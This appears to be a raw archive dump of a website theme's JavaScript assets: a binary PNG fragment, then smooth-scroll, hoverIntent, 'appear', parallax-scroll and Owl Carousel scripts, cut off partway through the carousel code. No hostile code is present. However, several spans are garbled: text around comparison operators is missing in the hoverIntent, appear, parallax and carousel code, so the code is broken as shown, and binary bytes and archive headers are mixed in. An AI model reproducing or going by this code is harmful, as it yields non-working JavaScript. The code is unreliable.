‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT smoothPageScroll.js000060400000001614151734450410010371 0ustar00var $window = jQuery(window); //Window object var scrollTime = 0.6; //Scroll time var scrollDistance = 400; //Distance. Use smaller value for shorter scroll and greater value for longer scroll mobile_ie = -1 !== navigator.userAgent.indexOf("IEMobile"); function smoothScrollListener(event){ event.preventDefault(); var delta = event.wheelDelta / 120 || -event.detail / 3; var scrollTop = $window.scrollTop(); var finalScroll = scrollTop - parseInt(delta * scrollDistance); TweenLite.to($window, scrollTime, { scrollTo: { y: finalScroll, autoKill: !0 }, ease: Power1.easeOut, autoKill: !0, overwrite: 5 }); } if (!jQuery('html').hasClass('touch') && !mobile_ie) { if (window.addEventListener) { window.addEventListener('mousewheel', smoothScrollListener, {passive: false}); // window.addEventListener('DOMMouseScroll', smoothScrollListener, {passive: false}); } }jquery.hoverIntent.min.js000060400000004304151734450410011510 0ustar00/*! * hoverIntent v1.9.0 // 2017.09.01 // jQuery v1.7.0+ * http://briancherne.github.io/jquery-hoverIntent/ * * You may use hoverIntent under the terms of the MIT license. Basically that * means you are free to use hoverIntent as long as this header is left intact. * Copyright 2007-2017 Brian Cherne */ !function(factory){"use strict";"function"==typeof define&&define.amd?define(["jquery"],factory):jQuery&&!jQuery.fn.hoverIntent&&factory(jQuery)}(function($){"use strict";var cX,cY,_cfg={interval:100,sensitivity:6,timeout:0},INSTANCE_COUNT=0,track=function(ev){cX=ev.pageX,cY=ev.pageY},compare=function(ev,$el,s,cfg){if(Math.sqrt((s.pX-cX)*(s.pX-cX)+(s.pY-cY)*(s.pY-cY))i||-i>g)&&di||-i>f)&&e= b && y <= b + wh + ay && x + tw + ax >= a && x <= a + ww + ax) {if (!t.appeared) t.trigger('appear', settings.data); } else {t.appeared = false; } }; var modifiedFn = function() {t.appeared = true; if (settings.one) {w.unbind('scroll', check); var i = $.inArray(check, $.fn.appear.checks); if (i >= 0) $.fn.appear.checks.splice(i, 1); } fn.apply(this, arguments); }; if (settings.one) t.one('appear', settings.data, modifiedFn); else t.bind('appear', settings.data, modifiedFn); w.scroll(check); $.fn.appear.checks.push(check); (check)(); }); }; $.extend($.fn.appear, {checks: [], timeout: null, checkAll: function() {var length = $.fn.appear.checks.length; if (length > 0) while (length--) ($.fn.appear.checks[length])(); }, run: function() {if ($.fn.appear.timeout) clearTimeout($.fn.appear.timeout); $.fn.appear.timeout = setTimeout($.fn.appear.checkAll, 20); } }); $.each(['append', 'prepend', 'after', 'before', 'attr', 'removeAttr', 'addClass', 'removeClass', 'toggleClass', 'remove', 'css', 'show', 'hide'], function(i, n) {var old = $.fn[n]; if (old) {$.fn[n] = function() {var r = old.apply(this, arguments); $.fn.appear.run(); return r; } } }); })(jQuery);jquery.parallax-scroll.js000060400000015513151734450410011525 0ustar00// jQuery(function() { // ParallaxScroll.init(); // }); var ParallaxScroll = { /* PUBLIC VARIABLES */ showLogs: false, round: 1000, /* PUBLIC FUNCTIONS */ init: function() { this._log("init"); if (this._inited) { this._log("Already Inited"); this._inited = true; return; } this._requestAnimationFrame = (function(){ return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function(/* function */ callback, /* DOMElement */ element){ window.setTimeout(callback, 1000 / 60); }; })(); this._onScroll(true); }, /* PRIVATE VARIABLES */ _inited: false, _properties: ['x', 'y', 'z', 'rotateX', 'rotateY', 'rotateZ', 'scaleX', 'scaleY', 'scaleZ', 'scale'], _requestAnimationFrame:null, /* PRIVATE FUNCTIONS */ _log: function(message) { if (this.showLogs) console.log("Parallax Scroll / " + message); }, _onScroll: function(noSmooth) { var scroll = jQuery(document).scrollTop(); var windowHeight = jQuery(window).height(); this._log("onScroll " + scroll); jQuery("[data-parallax]").each(jQuery.proxy(function(index, el) { var jQueryel = jQuery(el); var properties = []; var applyProperties = false; var style = jQueryel.data("style"); if (style == undefined) { style = jQueryel.attr("style") || ""; jQueryel.data("style", style); } var datas = [jQueryel.data("parallax")]; var iData; for(iData = 2; ; iData++) { if(jQueryel.data("parallax"+iData)) { datas.push(jQueryel.data("parallax-"+iData)); } else { break; } } var datasLength = datas.length; for(iData = 0; iData < datasLength; iData ++) { var data = datas[iData]; var scrollFrom = data["from-scroll"]; if (scrollFrom == undefined) scrollFrom = Math.max(0, jQuery(el).offset().top - windowHeight); scrollFrom = scrollFrom | 0; var scrollDistance = data["distance"]; var scrollTo = data["to-scroll"]; if (scrollDistance == undefined && scrollTo == undefined) scrollDistance = windowHeight; scrollDistance = Math.max(scrollDistance | 0, 1); var easing = data["easing"]; var easingReturn = data["easing-return"]; if (easing == undefined || !jQuery.easing|| !jQuery.easing[easing]) easing = null; if (easingReturn == undefined || !jQuery.easing|| !jQuery.easing[easingReturn]) easingReturn = easing; if (easing) { var totalTime = data["duration"]; if (totalTime == undefined) totalTime = scrollDistance; totalTime = Math.max(totalTime | 0, 1); var totalTimeReturn = data["duration-return"]; if (totalTimeReturn == undefined) totalTimeReturn = totalTime; scrollDistance = 1; var currentTime = jQueryel.data("current-time"); if(currentTime == undefined) currentTime = 0; } if (scrollTo == undefined) scrollTo = scrollFrom + scrollDistance; scrollTo = scrollTo | 0; var smoothness = data["smoothness"]; if (smoothness == undefined) smoothness = 30; smoothness = smoothness | 0; if (noSmooth || smoothness == 0) smoothness = 1; smoothness = smoothness | 0; var scrollCurrent = scroll; scrollCurrent = Math.max(scrollCurrent, scrollFrom); scrollCurrent = Math.min(scrollCurrent, scrollTo); if(easing) { if(jQueryel.data("sens") == undefined) jQueryel.data("sens", "back"); if(scrollCurrent>scrollFrom) { if(jQueryel.data("sens") == "back") { currentTime = 1; jQueryel.data("sens", "go"); } else { currentTime++; } } if(scrollCurrent0 && currentTime<=totalTime) { var from = defaultProp; if(jQueryel.data("sens") == "back") { from = to; to = -to; easing = easingReturn; totalTime = totalTimeReturn; } val = jQuery.easing[easing](null, currentTime, from, to, totalTime); } val = Math.ceil(val * this.round) / this.round; if(val==prev&&next==to) val = to; if(!properties[prop]) properties[prop] = 0; properties[prop] += val; if (prev != properties[prop]) { jQueryel.data("_" + prop, properties[prop]); applyProperties = true; } }, this)); } if (applyProperties) { if (properties["z"] != undefined) { var perspective = data["perspective"]; if (perspective == undefined) perspective = 800; var jQueryparent = jQueryel.parent(); if(!jQueryparent.data("style")) jQueryparent.data("style", jQueryparent.attr("style") || ""); jQueryparent.attr("style", "perspective:" + perspective + "px; -webkit-perspective:" + perspective + "px; "+ jQueryparent.data("style")); } if(properties["scaleX"] == undefined) properties["scaleX"] = 1; if(properties["scaleY"] == undefined) properties["scaleY"] = 1; if(properties["scaleZ"] == undefined) properties["scaleZ"] = 1; if (properties["scale"] != undefined) { properties["scaleX"] *= properties["scale"]; properties["scaleY"] *= properties["scale"]; properties["scaleZ"] *= properties["scale"]; } var translate3d = "translate3d(" + (properties["x"] ? properties["x"] : 0) + "px, " + (properties["y"] ? properties["y"] : 0) + "px, " + (properties["z"] ? properties["z"] : 0) + "px)"; var rotate3d = "rotateX(" + (properties["rotateX"] ? properties["rotateX"] : 0) + "deg) rotateY(" + (properties["rotateY"] ? properties["rotateY"] : 0) + "deg) rotateZ(" + (properties["rotateZ"] ? properties["rotateZ"] : 0) + "deg)"; var scale3d = "scaleX(" + properties["scaleX"] + ") scaleY(" + properties["scaleY"] + ") scaleZ(" + properties["scaleZ"] + ")"; var cssTransform = translate3d + " " + rotate3d + " " + scale3d + ";"; this._log(cssTransform); jQueryel.attr("style", "transform:" + cssTransform + " -webkit-transform:" + cssTransform + " " + style); } }, this)); if(window.requestAnimationFrame) { window.requestAnimationFrame(jQuery.proxy(this._onScroll, this, false)); } else { this._requestAnimationFrame(jQuery.proxy(this._onScroll, this, false)); } } };owl.carousel.min.js000060400000126467151734450410010321 0ustar00/** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */ !function(a,b,c,d){function e(b,c){this.settings=null,this.options=a.extend({},e.Defaults,c),this.$element=a(b),this._handlers={},this._plugins={},this._supress={},this._current=null,this._speed=null,this._coordinates=[],this._breakpoint=null,this._width=null,this._items=[],this._clones=[],this._mergers=[],this._widths=[],this._invalidated={},this._pipe=[],this._drag={time:null,target:null,pointer:null,stage:{start:null,current:null},direction:null},this._states={current:{},tags:{initializing:["busy"],animating:["busy"],dragging:["interacting"]}},a.each(["onResize","onThrottledResize"],a.proxy(function(b,c){this._handlers[c]=a.proxy(this[c],this)},this)),a.each(e.Plugins,a.proxy(function(a,b){this._plugins[a.charAt(0).toLowerCase()+a.slice(1)]=new b(this)},this)),a.each(e.Workers,a.proxy(function(b,c){this._pipe.push({filter:c.filter,run:a.proxy(c.run,this)})},this)),this.setup(),this.initialize()}e.Defaults={items:3,loop:!1,center:!1,rewind:!1,checkVisibility:!0,mouseDrag:!0,touchDrag:!0,pullDrag:!0,freeDrag:!1,margin:0,stagePadding:0,merge:!1,mergeFit:!0,autoWidth:!1,startPosition:0,rtl:!1,smartSpeed:250,fluidSpeed:!1,dragEndSpeed:!1,responsive:{},responsiveRefreshRate:200,responsiveBaseElement:b,fallbackEasing:"swing",slideTransition:"",info:!1,nestedItemSelector:!1,itemElement:"div",stageElement:"div",refreshClass:"owl-refresh",loadedClass:"owl-loaded",loadingClass:"owl-loading",rtlClass:"owl-rtl",responsiveClass:"owl-responsive",dragClass:"owl-drag",itemClass:"owl-item",stageClass:"owl-stage",stageOuterClass:"owl-stage-outer",grabClass:"owl-grab"},e.Width={Default:"default",Inner:"inner",Outer:"outer"},e.Type={Event:"event",State:"state"},e.Plugins={},e.Workers=[{filter:["width","settings"],run:function(){this._width=this.$element.width()}},{filter:["width","items","settings"],run:function(a){a.current=this._items&&this._items[this.relative(this._current)]}},{filter:["items","settings"],run:function(){this.$stage.children(".cloned").remove()}},{filter:["width","items","settings"],run:function(a){var b=this.settings.margin||"",c=!this.settings.autoWidth,d=this.settings.rtl,e={width:"auto","margin-left":d?b:"","margin-right":d?"":b};!c&&this.$stage.children().css(e),a.css=e}},{filter:["width","items","settings"],run:function(a){var b=(this.width()/this.settings.items).toFixed(3)-this.settings.margin,c=null,d=this._items.length,e=!this.settings.autoWidth,f=[];for(a.items={merge:!1,width:b};d--;)c=this._mergers[d],c=this.settings.mergeFit&&Math.min(c,this.settings.items)||c,a.items.merge=c>1||a.items.merge,f[d]=e?b*c:this._items[d].width();this._widths=f}},{filter:["items","settings"],run:function(){var b=[],c=this._items,d=this.settings,e=Math.max(2*d.items,4),f=2*Math.ceil(c.length/2),g=d.loop&&c.length?d.rewind?e:Math.max(e,f):0,h="",i="";for(g/=2;g>0;)b.push(this.normalize(b.length/2,!0)),h+=c[b[b.length-1]][0].outerHTML,b.push(this.normalize(c.length-1-(b.length-1)/2,!0)),i=c[b[b.length-1]][0].outerHTML+i,g-=1;this._clones=b,a(h).addClass("cloned").appendTo(this.$stage),a(i).addClass("cloned").prependTo(this.$stage)}},{filter:["width","items","settings"],run:function(){for(var a=this.settings.rtl?1:-1,b=this._clones.length+this._items.length,c=-1,d=0,e=0,f=[];++c",h)||this.op(b,"<",g)&&this.op(b,">",h))&&i.push(c);this.$stage.children(".active").removeClass("active"),this.$stage.children(":eq("+i.join("), :eq(")+")").addClass("active"),this.$stage.children(".center").removeClass("center"),this.settings.center&&this.$stage.children().eq(this.current()).addClass("center")}}],e.prototype.initializeStage=function(){this.$stage=this.$element.find("."+this.settings.stageClass),this.$stage.length||(this.$element.addClass(this.options.loadingClass),this.$stage=a("<"+this.settings.stageElement+">",{class:this.settings.stageClass}).wrap(a("
",{class:this.settings.stageOuterClass})),this.$element.append(this.$stage.parent()))},e.prototype.initializeItems=function(){var b=this.$element.find(".owl-item");if(b.length)return this._items=b.get().map(function(b){return a(b)}),this._mergers=this._items.map(function(){return 1}),void this.refresh();this.replace(this.$element.children().not(this.$stage.parent())),this.isVisible()?this.refresh():this.invalidate("width"),this.$element.removeClass(this.options.loadingClass).addClass(this.options.loadedClass)},e.prototype.initialize=function(){if(this.enter("initializing"),this.trigger("initialize"),this.$element.toggleClass(this.settings.rtlClass,this.settings.rtl),this.settings.autoWidth&&!this.is("pre-loading")){var a,b,c;a=this.$element.find("img"),b=this.settings.nestedItemSelector?"."+this.settings.nestedItemSelector:d,c=this.$element.children(b).width(),a.length&&c<=0&&this.preloadAutoWidthImages(a)}this.initializeStage(),this.initializeItems(),this.registerEventHandlers(),this.leave("initializing"),this.trigger("initialized")},e.prototype.isVisible=function(){return!this.settings.checkVisibility||this.$element.is(":visible")},e.prototype.setup=function(){var b=this.viewport(),c=this.options.responsive,d=-1,e=null;c?(a.each(c,function(a){a<=b&&a>d&&(d=Number(a))}),e=a.extend({},this.options,c[d]),"function"==typeof e.stagePadding&&(e.stagePadding=e.stagePadding()),delete e.responsive,e.responsiveClass&&this.$element.attr("class",this.$element.attr("class").replace(new RegExp("("+this.options.responsiveClass+"-)\\S+\\s","g"),"$1"+d))):e=a.extend({},this.options),this.trigger("change",{property:{name:"settings",value:e}}),this._breakpoint=d,this.settings=e,this.invalidate("settings"),this.trigger("changed",{property:{name:"settings",value:this.settings}})},e.prototype.optionsLogic=function(){this.settings.autoWidth&&(this.settings.stagePadding=!1,this.settings.merge=!1)},e.prototype.prepare=function(b){var c=this.trigger("prepare",{content:b});return c.data||(c.data=a("<"+this.settings.itemElement+"/>").addClass(this.options.itemClass).append(b)),this.trigger("prepared",{content:c.data}),c.data},e.prototype.update=function(){for(var b=0,c=this._pipe.length,d=a.proxy(function(a){return this[a]},this._invalidated),e={};b0)&&this._pipe[b].run(e),b++;this._invalidated={},!this.is("valid")&&this.enter("valid")},e.prototype.width=function(a){switch(a=a||e.Width.Default){case e.Width.Inner:case e.Width.Outer:return this._width;default:return this._width-2*this.settings.stagePadding+this.settings.margin}},e.prototype.refresh=function(){this.enter("refreshing"),this.trigger("refresh"),this.setup(),this.optionsLogic(),this.$element.addClass(this.options.refreshClass),this.update(),this.$element.removeClass(this.options.refreshClass),this.leave("refreshing"),this.trigger("refreshed")},e.prototype.onThrottledResize=function(){b.clearTimeout(this.resizeTimer),this.resizeTimer=b.setTimeout(this._handlers.onResize,this.settings.responsiveRefreshRate)},e.prototype.onResize=function(){return!!this._items.length&&(this._width!==this.$element.width()&&(!!this.isVisible()&&(this.enter("resizing"),this.trigger("resize").isDefaultPrevented()?(this.leave("resizing"),!1):(this.invalidate("width"),this.refresh(),this.leave("resizing"),void this.trigger("resized")))))},e.prototype.registerEventHandlers=function(){a.support.transition&&this.$stage.on(a.support.transition.end+".owl.core",a.proxy(this.onTransitionEnd,this)),!1!==this.settings.responsive&&this.on(b,"resize",this._handlers.onThrottledResize),this.settings.mouseDrag&&(this.$element.addClass(this.options.dragClass),this.$stage.on("mousedown.owl.core",a.proxy(this.onDragStart,this)),this.$stage.on("dragstart.owl.core selectstart.owl.core",function(){return!1})),this.settings.touchDrag&&(this.$stage.on("touchstart.owl.core",a.proxy(this.onDragStart,this)),this.$stage.on("touchcancel.owl.core",a.proxy(this.onDragEnd,this)))},e.prototype.onDragStart=function(b){var d=null;3!==b.which&&(a.support.transform?(d=this.$stage.css("transform").replace(/.*\(|\)| /g,"").split(","),d={x:d[16===d.length?12:4],y:d[16===d.length?13:5]}):(d=this.$stage.position(),d={x:this.settings.rtl?d.left+this.$stage.width()-this.width()+this.settings.margin:d.left,y:d.top}),this.is("animating")&&(a.support.transform?this.animate(d.x):this.$stage.stop(),this.invalidate("position")),this.$element.toggleClass(this.options.grabClass,"mousedown"===b.type),this.speed(0),this._drag.time=(new Date).getTime(),this._drag.target=a(b.target),this._drag.stage.start=d,this._drag.stage.current=d,this._drag.pointer=this.pointer(b),a(c).on("mouseup.owl.core touchend.owl.core",a.proxy(this.onDragEnd,this)),a(c).one("mousemove.owl.core touchmove.owl.core",a.proxy(function(b){var d=this.difference(this._drag.pointer,this.pointer(b));a(c).on("mousemove.owl.core touchmove.owl.core",a.proxy(this.onDragMove,this)),Math.abs(d.x)0^this.settings.rtl?"left":"right";a(c).off(".owl.core"),this.$element.removeClass(this.options.grabClass),(0!==d.x&&this.is("dragging")||!this.is("valid"))&&(this.speed(this.settings.dragEndSpeed||this.settings.smartSpeed),this.current(this.closest(e.x,0!==d.x?f:this._drag.direction)),this.invalidate("position"),this.update(),this._drag.direction=f,(Math.abs(d.x)>3||(new Date).getTime()-this._drag.time>300)&&this._drag.target.one("click.owl.core",function(){return!1})),this.is("dragging")&&(this.leave("dragging"),this.trigger("dragged"))},e.prototype.closest=function(b,c){var e=-1,f=30,g=this.width(),h=this.coordinates();return this.settings.freeDrag||a.each(h,a.proxy(function(a,i){return"left"===c&&b>i-f&&bi-g-f&&b",h[a+1]!==d?h[a+1]:i-g)&&(e="left"===c?a+1:a),-1===e},this)),this.settings.loop||(this.op(b,">",h[this.minimum()])?e=b=this.minimum():this.op(b,"<",h[this.maximum()])&&(e=b=this.maximum())),e},e.prototype.animate=function(b){var c=this.speed()>0;this.is("animating")&&this.onTransitionEnd(),c&&(this.enter("animating"),this.trigger("translate")),a.support.transform3d&&a.support.transition?this.$stage.css({transform:"translate3d("+b+"px,0px,0px)",transition:this.speed()/1e3+"s"+(this.settings.slideTransition?" "+this.settings.slideTransition:"")}):c?this.$stage.animate({left:b+"px"},this.speed(),this.settings.fallbackEasing,a.proxy(this.onTransitionEnd,this)):this.$stage.css({left:b+"px"})},e.prototype.is=function(a){return this._states.current[a]&&this._states.current[a]>0},e.prototype.current=function(a){if(a===d)return this._current;if(0===this._items.length)return d;if(a=this.normalize(a),this._current!==a){var b=this.trigger("change",{property:{name:"position",value:a}});b.data!==d&&(a=this.normalize(b.data)),this._current=a,this.invalidate("position"),this.trigger("changed",{property:{name:"position",value:this._current}})}return this._current},e.prototype.invalidate=function(b){return"string"===a.type(b)&&(this._invalidated[b]=!0,this.is("valid")&&this.leave("valid")),a.map(this._invalidated,function(a,b){return b})},e.prototype.reset=function(a){(a=this.normalize(a))!==d&&(this._speed=0,this._current=a,this.suppress(["translate","translated"]),this.animate(this.coordinates(a)),this.release(["translate","translated"]))},e.prototype.normalize=function(a,b){var c=this._items.length,e=b?0:this._clones.length;return!this.isNumeric(a)||c<1?a=d:(a<0||a>=c+e)&&(a=((a-e/2)%c+c)%c+e/2),a},e.prototype.relative=function(a){return a-=this._clones.length/2,this.normalize(a,!0)},e.prototype.maximum=function(a){var b,c,d,e=this.settings,f=this._coordinates.length;if(e.loop)f=this._clones.length/2+this._items.length-1;else if(e.autoWidth||e.merge){if(b=this._items.length)for(c=this._items[--b].width(),d=this.$element.width();b--&&!((c+=this._items[b].width()+this.settings.margin)>d););f=b+1}else f=e.center?this._items.length-1:this._items.length-e.items;return a&&(f-=this._clones.length/2),Math.max(f,0)},e.prototype.minimum=function(a){return a?0:this._clones.length/2},e.prototype.items=function(a){return a===d?this._items.slice():(a=this.normalize(a,!0),this._items[a])},e.prototype.mergers=function(a){return a===d?this._mergers.slice():(a=this.normalize(a,!0),this._mergers[a])},e.prototype.clones=function(b){var c=this._clones.length/2,e=c+this._items.length,f=function(a){return a%2==0?e+a/2:c-(a+1)/2};return b===d?a.map(this._clones,function(a,b){return f(b)}):a.map(this._clones,function(a,c){return a===b?f(c):null})},e.prototype.speed=function(a){return a!==d&&(this._speed=a),this._speed},e.prototype.coordinates=function(b){var c,e=1,f=b-1;return b===d?a.map(this._coordinates,a.proxy(function(a,b){return this.coordinates(b)},this)):(this.settings.center?(this.settings.rtl&&(e=-1,f=b+1),c=this._coordinates[b],c+=(this.width()-c+(this._coordinates[f]||0))/2*e):c=this._coordinates[f]||0,c=Math.ceil(c))},e.prototype.duration=function(a,b,c){return 0===c?0:Math.min(Math.max(Math.abs(b-a),1),6)*Math.abs(c||this.settings.smartSpeed)},e.prototype.to=function(a,b){var c=this.current(),d=null,e=a-this.relative(c),f=(e>0)-(e<0),g=this._items.length,h=this.minimum(),i=this.maximum();this.settings.loop?(!this.settings.rewind&&Math.abs(e)>g/2&&(e+=-1*f*g),a=c+e,(d=((a-h)%g+g)%g+h)!==a&&d-e<=i&&d-e>0&&(c=d-e,a=d,this.reset(c))):this.settings.rewind?(i+=1,a=(a%i+i)%i):a=Math.max(h,Math.min(i,a)),this.speed(this.duration(c,a,b)),this.current(a),this.isVisible()&&this.update()},e.prototype.next=function(a){a=a||!1,this.to(this.relative(this.current())+1,a)},e.prototype.prev=function(a){a=a||!1,this.to(this.relative(this.current())-1,a)},e.prototype.onTransitionEnd=function(a){if(a!==d&&(a.stopPropagation(),(a.target||a.srcElement||a.originalTarget)!==this.$stage.get(0)))return!1;this.leave("animating"),this.trigger("translated")},e.prototype.viewport=function(){var d;return this.options.responsiveBaseElement!==b?d=a(this.options.responsiveBaseElement).width():b.innerWidth?d=b.innerWidth:c.documentElement&&c.documentElement.clientWidth?d=c.documentElement.clientWidth:console.warn("Can not detect viewport width."),d},e.prototype.replace=function(b){this.$stage.empty(),this._items=[],b&&(b=b instanceof jQuery?b:a(b)),this.settings.nestedItemSelector&&(b=b.find("."+this.settings.nestedItemSelector)),b.filter(function(){return 1===this.nodeType}).each(a.proxy(function(a,b){b=this.prepare(b),this.$stage.append(b),this._items.push(b),this._mergers.push(1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)},this)),this.reset(this.isNumeric(this.settings.startPosition)?this.settings.startPosition:0),this.invalidate("items")},e.prototype.add=function(b,c){var e=this.relative(this._current);c=c===d?this._items.length:this.normalize(c,!0),b=b instanceof jQuery?b:a(b),this.trigger("add",{content:b,position:c}),b=this.prepare(b),0===this._items.length||c===this._items.length?(0===this._items.length&&this.$stage.append(b),0!==this._items.length&&this._items[c-1].after(b),this._items.push(b),this._mergers.push(1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)):(this._items[c].before(b),this._items.splice(c,0,b),this._mergers.splice(c,0,1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)),this._items[e]&&this.reset(this._items[e].index()),this.invalidate("items"),this.trigger("added",{content:b,position:c})},e.prototype.remove=function(a){(a=this.normalize(a,!0))!==d&&(this.trigger("remove",{content:this._items[a],position:a}),this._items[a].remove(),this._items.splice(a,1),this._mergers.splice(a,1),this.invalidate("items"),this.trigger("removed",{content:null,position:a}))},e.prototype.preloadAutoWidthImages=function(b){b.each(a.proxy(function(b,c){this.enter("pre-loading"),c=a(c),a(new Image).one("load",a.proxy(function(a){c.attr("src",a.target.src),c.css("opacity",1),this.leave("pre-loading"),!this.is("pre-loading")&&!this.is("initializing")&&this.refresh()},this)).attr("src",c.attr("src")||c.attr("data-src")||c.attr("data-src-retina"))},this))},e.prototype.destroy=function(){this.$element.off(".owl.core"),this.$stage.off(".owl.core"),a(c).off(".owl.core"),!1!==this.settings.responsive&&(b.clearTimeout(this.resizeTimer),this.off(b,"resize",this._handlers.onThrottledResize));for(var d in this._plugins)this._plugins[d].destroy();this.$stage.children(".cloned").remove(),this.$stage.unwrap(),this.$stage.children().contents().unwrap(),this.$stage.children().unwrap(),this.$stage.remove(),this.$element.removeClass(this.options.refreshClass).removeClass(this.options.loadingClass).removeClass(this.options.loadedClass).removeClass(this.options.rtlClass).removeClass(this.options.dragClass).removeClass(this.options.grabClass).attr("class",this.$element.attr("class").replace(new RegExp(this.options.responsiveClass+"-\\S+\\s","g"),"")).removeData("owl.carousel")},e.prototype.op=function(a,b,c){var d=this.settings.rtl;switch(b){case"<":return d?a>c:a":return d?ac;case">=":return d?a<=c:a>=c;case"<=":return d?a>=c:a<=c}},e.prototype.on=function(a,b,c,d){a.addEventListener?a.addEventListener(b,c,d):a.attachEvent&&a.attachEvent("on"+b,c)},e.prototype.off=function(a,b,c,d){a.removeEventListener?a.removeEventListener(b,c,d):a.detachEvent&&a.detachEvent("on"+b,c)},e.prototype.trigger=function(b,c,d,f,g){var h={item:{count:this._items.length,index:this.current()}},i=a.camelCase(a.grep(["on",b,d],function(a){return a}).join("-").toLowerCase()),j=a.Event([b,"owl",d||"carousel"].join(".").toLowerCase(),a.extend({relatedTarget:this},h,c));return this._supress[b]||(a.each(this._plugins,function(a,b){b.onTrigger&&b.onTrigger(j)}),this.register({type:e.Type.Event,name:b}),this.$element.trigger(j),this.settings&&"function"==typeof this.settings[i]&&this.settings[i].call(this,j)),j},e.prototype.enter=function(b){a.each([b].concat(this._states.tags[b]||[]),a.proxy(function(a,b){this._states.current[b]===d&&(this._states.current[b]=0),this._states.current[b]++},this))},e.prototype.leave=function(b){a.each([b].concat(this._states.tags[b]||[]),a.proxy(function(a,b){this._states.current[b]--},this))},e.prototype.register=function(b){if(b.type===e.Type.Event){if(a.event.special[b.name]||(a.event.special[b.name]={}),!a.event.special[b.name].owl){var c=a.event.special[b.name]._default;a.event.special[b.name]._default=function(a){return!c||!c.apply||a.namespace&&-1!==a.namespace.indexOf("owl")?a.namespace&&a.namespace.indexOf("owl")>-1:c.apply(this,arguments)},a.event.special[b.name].owl=!0}}else b.type===e.Type.State&&(this._states.tags[b.name]?this._states.tags[b.name]=this._states.tags[b.name].concat(b.tags):this._states.tags[b.name]=b.tags,this._states.tags[b.name]=a.grep(this._states.tags[b.name],a.proxy(function(c,d){return a.inArray(c,this._states.tags[b.name])===d},this)))},e.prototype.suppress=function(b){a.each(b,a.proxy(function(a,b){this._supress[b]=!0},this))},e.prototype.release=function(b){a.each(b,a.proxy(function(a,b){delete this._supress[b]},this))},e.prototype.pointer=function(a){var c={x:null,y:null};return a=a.originalEvent||a||b.event,a=a.touches&&a.touches.length?a.touches[0]:a.changedTouches&&a.changedTouches.length?a.changedTouches[0]:a,a.pageX?(c.x=a.pageX,c.y=a.pageY):(c.x=a.clientX,c.y=a.clientY),c},e.prototype.isNumeric=function(a){return!isNaN(parseFloat(a))},e.prototype.difference=function(a,b){return{x:a.x-b.x,y:a.y-b.y}},a.fn.owlCarousel=function(b){var c=Array.prototype.slice.call(arguments,1);return this.each(function(){var d=a(this),f=d.data("owl.carousel");f||(f=new e(this,"object"==typeof b&&b),d.data("owl.carousel",f),a.each(["next","prev","to","destroy","refresh","replace","add","remove"],function(b,c){f.register({type:e.Type.Event,name:c}),f.$element.on(c+".owl.carousel.core",a.proxy(function(a){a.namespace&&a.relatedTarget!==this&&(this.suppress([c]),f[c].apply(this,[].slice.call(arguments,1)),this.release([c]))},f))})),"string"==typeof b&&"_"!==b.charAt(0)&&f[b].apply(f,c)})},a.fn.owlCarousel.Constructor=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._interval=null,this._visible=null,this._handlers={"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoRefresh&&this.watch()},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers)};e.Defaults={autoRefresh:!0,autoRefreshInterval:500},e.prototype.watch=function(){this._interval||(this._visible=this._core.isVisible(),this._interval=b.setInterval(a.proxy(this.refresh,this),this._core.settings.autoRefreshInterval))},e.prototype.refresh=function(){this._core.isVisible()!==this._visible&&(this._visible=!this._visible,this._core.$element.toggleClass("owl-hidden",!this._visible),this._visible&&this._core.invalidate("width")&&this._core.refresh())},e.prototype.destroy=function(){var a,c;b.clearInterval(this._interval);for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(c in Object.getOwnPropertyNames(this))"function"!=typeof this[c]&&(this[c]=null)},a.fn.owlCarousel.Constructor.Plugins.AutoRefresh=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._loaded=[],this._handlers={"initialized.owl.carousel change.owl.carousel resized.owl.carousel":a.proxy(function(b){if(b.namespace&&this._core.settings&&this._core.settings.lazyLoad&&(b.property&&"position"==b.property.name||"initialized"==b.type)){var c=this._core.settings,e=c.center&&Math.ceil(c.items/2)||c.items,f=c.center&&-1*e||0,g=(b.property&&b.property.value!==d?b.property.value:this._core.current())+f,h=this._core.clones().length,i=a.proxy(function(a,b){this.load(b)},this);for(c.lazyLoadEager>0&&(e+=c.lazyLoadEager,c.loop&&(g-=c.lazyLoadEager,e++));f++-1||(e.each(a.proxy(function(c,d){var e,f=a(d),g=b.devicePixelRatio>1&&f.attr("data-src-retina")||f.attr("data-src")||f.attr("data-srcset");this._core.trigger("load",{element:f,url:g},"lazy"),f.is("img")?f.one("load.owl.lazy",a.proxy(function(){f.css("opacity",1),this._core.trigger("loaded",{element:f,url:g},"lazy")},this)).attr("src",g):f.is("source")?f.one("load.owl.lazy",a.proxy(function(){this._core.trigger("loaded",{element:f,url:g},"lazy")},this)).attr("srcset",g):(e=new Image,e.onload=a.proxy(function(){f.css({"background-image":'url("'+g+'")',opacity:"1"}),this._core.trigger("loaded",{element:f,url:g},"lazy")},this),e.src=g)},this)),this._loaded.push(d.get(0)))},e.prototype.destroy=function(){var a,b;for(a in this.handlers)this._core.$element.off(a,this.handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Lazy=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(c){this._core=c,this._previousHeight=null,this._handlers={"initialized.owl.carousel 